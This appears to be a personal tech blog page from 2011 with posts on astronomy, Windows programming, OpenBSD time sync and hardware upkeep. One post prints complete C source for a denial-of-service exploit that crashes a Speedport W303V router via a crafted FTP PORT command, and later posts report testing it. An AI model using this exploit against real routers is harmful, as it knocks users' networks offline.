Centroid.EU Blog
(this blog is mostly encrypted - adults only)
|
Previous Page
July 8th, 2011
I got this out of the program xephem which lists 89 constellations:
And: Andromeda Cyg: Cygnus Pav: Pavo
Ant: Antlia Del: Delphinus Peg: Pegasus
Aps: Apus Dor: Dorado Per: Perseus
Aql: Aquila Dra: Draco Phe: Phoenix
Aqr: Aquarius Equ: Equuleus Pic: Pictor
Ara: Ara Eri: Eridanus PsA: Piscis Austrinus
Ari: Aries For: Fornax Psc: Pisces
Aur: Auriga Gem: Gemini Pup: Puppis
Boo: Bootes Gru: Grus Pyx: Pyxis
CMa: Canis Major Her: Hercules Ret: Reticulum
CMi: Canis Minor Hor: Horologium Scl: Sculptor
CVn: Canes Venatici Hya: Hydra Sco: Scorpius
Cae: Caelum Hyi: Hydrus Sct: Scutum
Cam: Camelopardalis Ind: Indus Se1: Serpens Caput
Cap: Capricornus LMi: Leo Minor Sex: Sextans
Car: Carina Lac: Lacerta Sge: Sagitta
Cas: Cassiopeia Leo: Leo Sgr: Sagittarius
Cen: Centaurus Lep: Lepus Tau: Taurus
Cep: Cepheus Lib: Libra Tel: Telescopium
Cet: Cetus Lup: Lupus TrA: Triangulum Austral
Cha: Chamaeleon Lyn: Lynx Tri: Triangulum
Cir: Circinus Lyr: Lyra Tuc: Tucana
Cnc: Cancer Men: Mensa UMa: Ursa Major
Col: Columba Mic: Microscopium UMi: Ursa Minor
Com: Coma Berenices Mon: Monoceros Vel: Vela
CrA: Corona Australis Mus: Musca Vir: Virgo
CrB: Corona Borealis Nor: Norma Vol: Volans
Crt: Crater Oct: Octans Vul: Vulpecula
Cru: Crux Oph: Ophiuchus Se2: Serpens Cauda
Crv: Corvus Ori: Orion
0 comments
Ordered two new books
July 4th, 2011
I've ordered two new books. Now that I'm working hard it's time to reap
the benefits to furthering myself. The one is the book you see in the
image and the other is a book on javascript. I'm hoping to better my
website with javascript eventually.
So what happened to my UNIX love, now that I'm ordering Windows books you
may ask? It's still there but I'd like to explore other possibilities and
windows is pretty mainstream. I'm toying with the thought of porting
wildcarddnsd to windows. All in good time, if ever.
0 comments
My third Windows program, speedport exploit
June 30th, 2011
With help from someone I managed to compile my exploit that crashes the
Speedport W303V type A router. The .exe is executed from Windows 7 cmd
window.
MD5 (speedport_exploit.exe) = 9eb9f16e64feaa8ccd316b9ca51c93c1
I'm gonna try it from my parents house some time and see if it really does
crash the router. :-).
Update: it works at my parents house with windows XP. My mom wanted
to know why I was making this and what my goal is. My goal is to get a
firmware patch out of this from the manufacturer, so that I can continue the
legit operations that this uses for a freebsd ezjail install.
0 comments
Syncing clock on OpenBSD/VMware Workstation
June 29th, 2011
I recently synced all my clocks on OpenBSD vm's using the vmt(4) timedelta
sensor that is included in OpenBSD 4.9.
tail -f /var/log/daemon ...
Jun 29 19:02:23 cupid ntpd[18033]: adjusting local clock by -0.275138s
Jun 29 19:03:54 cupid ntpd[16677]: clock is now synced
^C
# grep -v ^# /etc/ntpd.conf|grep sensor
sensor vmt0
That's all that's needed in the config for ntpd to run on the vm.
0 comments
My second Windows program
June 25th, 2011
Since I got my windows system programming book I've been toiling with a
program on windows. The first program was a hello, world program and this
is the second program.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
int find(TCHAR *filename, TCHAR *buf, TCHAR *);
int
_tmain(int argc, char *argv[])
{
TCHAR buf[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1];
if (argc == 1) {
printf("enter filename to find:\n");
fgets(filename, sizeof(filename), stdin);
if (filename[strlen(filename) - 1] == '\n')
filename[strlen(filename) - 1] = '\0';
if (filename[strlen(filename) - 1] == '\r')
filename[strlen(filename) - 1] = '\0';
printf("enter directory to start search:\n");
fgets(buf, sizeof(buf), stdin);
if (buf[strlen(buf) - 1] == '\n')
buf[strlen(buf) - 1] = '\0';
if (buf[strlen(buf) - 1] == '\r')
buf[strlen(buf) - 1] = '\0';
if (buf[strlen(buf) - 1] != '\\') {
strncat(buf, "\\", sizeof(buf));
}
}
find(filename, buf, buf);
printf("find done.\n");
fgets(buf, sizeof(buf), stdin);
return(0);
}
int
find(TCHAR *filename, TCHAR *buf, TCHAR *samefile)
{
TCHAR newbuf[MAX_PATH + 1];
HANDLE myH;
WIN32_FIND_DATA fd;
DWORD fType;
strcat(buf, "\*");
myH = FindFirstFile(buf, &fd);
do {
if (strcmp(fd.cFileName, filename) == 0) {
strncpy(newbuf, buf, MAX_PATH);
newbuf[strlen(newbuf) - 1] = '\0';
strncat(newbuf, fd.cFileName, MAX_PATH);
_tprintf(_T("%s\n"), newbuf);
}
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strcmp(fd.cFileName, samefile) == 0)
continue;
if (strcmp(fd.cFileName, ".") == 0 ||
strcmp(fd.cFileName, "..") == 0)
continue;
strncpy(newbuf, buf, sizeof(newbuf));
newbuf[strlen(newbuf) - 1] = '\0';
strncat(newbuf, fd.cFileName, MAX_PATH);
strncat(newbuf, "\\", MAX_PATH);
if (find(filename, newbuf, fd.cFileName) == 1)
break;
}
} while (FindNextFile(myH, &fd));
FindClose(myH);
return (0);
}
The program requires one to press enter at the end when the finding is done
which is a feature I put in for the Visual C++ Express program when one
debugs it so that the cmd screen stays open. What the program does is similar
to UNIX's find(1), although this implementation is more like a joke. Notice
one has to use "*" to list contents in a path. yikes.
0 comments
Update on Speedport W303V crash
June 18th, 2011
The particular router is a Type A machine, where two models exist. Type A
and Type B. I called the telekom yesterday and told them the problem and
they had me put the default settings back on the router after backing up
the settings and try again. NO GO. The firmware is the latest released and
all we can hope for is another firmware patch. This router is beyond
broken and I can't continue to FTP stuff like freebsd ezjail stuff on
virtualbox. The tech at the telekom said we could exchange the router but
we weren't on warranty anymore. This is like an 80 euro router... so
we left it at that. I came out empty handed.
0 comments
Speedport W303V crashes on PORT FTP command
June 13th, 2011
My parents have a Speedport W303V router bought from T-Home as they are a
Telekom customer. I was playing around with FreeBSD today and noticed that
whenever I'd ftp something the router would crash. So I tcpdumped it and
produced this exploit that crashes this router.
/* speedzap.c by pbug
*
* This program crashes a T-Home Speedport W 303V router
* with firmware version 1.09.000
*
* The router is not even touched, an FTP PORT command is sent with an
* IP that is not in the address range given out by this router.
*
* Some proxy inside the router must cause it to give up and become
* unreachable.
*
* cc -o speedzap speedzap.c ; ./speedzap
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FTPSERVER "213.83.42.56"
#define FTPPORT 21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"
int
main(void)
{
struct sockaddr_in sin;
int so;
char buf[512];
so = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (so < 0) {
perror("socket");
exit(1);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(FTPPORT);
sin.sin_addr.s_addr = inet_addr(FTPSERVER);
if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
read(so, buf, sizeof(buf));
write(so, BYEBYE, strlen(BYEBYE));
printf("zapped, restart your router.\n");
close(so);
exit(0);
}
The program is intended for educational use to show how bad some proxy
functions are built-in to routers.
0 comments
Bought a book on Windows System programming
June 5th, 2011
This
is the book that I purchased. I'm hoping to learn a bit about the Windows
system. I can use that knowledge to better my understanding of how OS's work
in general.
0 comments
Cleaning heatsink reduces CPU temperature
June 2nd, 2011
My apartment isn't the cleanest place on earth. So it happens that dust
accumulates inside the computer case and eventually gets into the fans
and heatsinks. Today was one of those days where the CPU fan could not
cool the CPU sufficiently anymore and the box overheated. I had a hard
time connecting this heatsink to the cpu, the first time I musta done it
wrong and the CPU overheated very quickly. The second time I watched the
temperature in the bios hardware monitor for 15 minutes and last I saw it
at 48.5 degrees Celsius. Still fairly high considering the Fan was at
2200 RPM's. But I felt that this was better than the 70's that it was
at earlier. I do wonder whether a liquid cooling system is better for
my setup.
0 comments
Next Page
|
Search
RSS Feed
Click here for RSS
On this day in
Other links
Have feedback?
By clicking on the header of an article you will be
served a cookie. If you do not agree to this do not
click on the header. Thanks!
Using a text-based webbrowser?
... such as lynx? Welcome back it's working again for the time being.
Older Blog Entries
November, 2023
October, 2023
September, 2023
August, 2023
July, 2023
June, 2023
May, 2023
April, 2023
March, 2023
February, 2023
January, 2023
December, 2022
November, 2022
October, 2022
September, 2022
August, 2022
July, 2022
June, 2022
May, 2022
April, 2022
March, 2022
February, 2022
January, 2022
December, 2021
November, 2021
October, 2021
September, 2021
March, 2021
February, 2021
January, 2021
December, 2020
November, 2020
October, 2020
September, 2020
August, 2020
July, 2020
June, 2020
May, 2020
April, 2020
March, 2020
February, 2020
January, 2020
December, 2019
November, 2019
October, 2019
September, 2019
August, 2019
July, 2019
June, 2019
May, 2019
April, 2019
March, 2019
February, 2019
January, 2019
December, 2018
November, 2018
October, 2018
September, 2018
August, 2018
July, 2018
June, 2018
May, 2018
April, 2018
March, 2018
February, 2018
January, 2018
December, 2017
November, 2017
October, 2017
September, 2017
August, 2017
July, 2017
June, 2017
May, 2017
April, 2017
March, 2017
February, 2017
January, 2017
December, 2016
November, 2016
October, 2016
September, 2016
August, 2016
July, 2016
June, 2016
May, 2016
April, 2016
March, 2016
February, 2016
January, 2016
December, 2015
November, 2015
October, 2015
September, 2015
August, 2015
July, 2015
June, 2015
May, 2015
April, 2015
March, 2015
February, 2015
January, 2015
December, 2014
November, 2014
October, 2014
September, 2014
August, 2014
July, 2014
June, 2014
May, 2014
April, 2014
March, 2014
February, 2014
January, 2014
December, 2013
November, 2013
October, 2013
September, 2013
August, 2013
July, 2013
June, 2013
May, 2013
April, 2013
March, 2013
February, 2013
January, 2013
December, 2012
November, 2012
October, 2012
September, 2012
August, 2012
July, 2012
June, 2012
May, 2012
April, 2012
March, 2012
February, 2012
January, 2012
December, 2011
November, 2011
October, 2011
September, 2011
August, 2011
July, 2011
June, 2011
May, 2011
April, 2011
March, 2011
February, 2011
January, 2011
December, 2010
November, 2010
October, 2010
September, 2010
August, 2010
July, 2010
June, 2010
May, 2010
April, 2010
March, 2010
February, 2010
January, 2010
December, 2009
November, 2009
October, 2009
September, 2009
August, 2009
July, 2009
June, 2009
May, 2009
Powered by BCHS
|